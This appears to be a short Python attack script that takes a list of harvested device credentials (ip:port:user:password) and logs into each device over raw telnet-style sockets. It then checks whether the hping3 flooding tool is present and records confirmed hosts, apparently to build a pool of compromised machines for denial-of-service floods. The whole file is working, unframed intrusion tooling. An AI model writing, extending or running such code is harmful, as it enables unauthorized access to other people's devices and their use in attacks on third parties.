import socket, time, threading

alive = open("/tmp/_alive_devices.txt").read().strip().split("\n")
hping = open("/tmp/hping_devices.txt").read().strip().split("\n")
hping_set = set(hping)
working_hping = [d for d in alive if d in hping_set]

print("Working+hping3: " + str(len(working_hping)))

# Test first 20
ok = []
for line in working_hping[:20]:
    parts = line.split(":")
    ip, port, user, passwd = parts[0], int(parts[1]), parts[2], parts[3]
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        s.connect((ip, port))
        time.sleep(0.3)
        data = s.recv(4096).decode(errors="ignore")
        if "login" in data.lower():
            s.send((user+"\r\n").encode())
            time.sleep(0.3)
            data = s.recv(4096).decode(errors="ignore")
        if "password" in data.lower():
            s.send((passwd+"\r\n").encode())
            time.sleep(0.6)
            data = s.recv(4096).decode(errors="ignore")
        try: s.recv(65536)
        except: pass
        s.send(b"which hping3\r\n")
        time.sleep(0.5)
        r = s.recv(4096).decode(errors="ignore")
        if "hping3" in r and "not found" not in r:
            ok.append(ip)
            open("/tmp/_hping_working.txt","a").write(line + "\n")
        s.close()
    except:
        pass

print("Confirmed hping3: " + str(len(ok)))
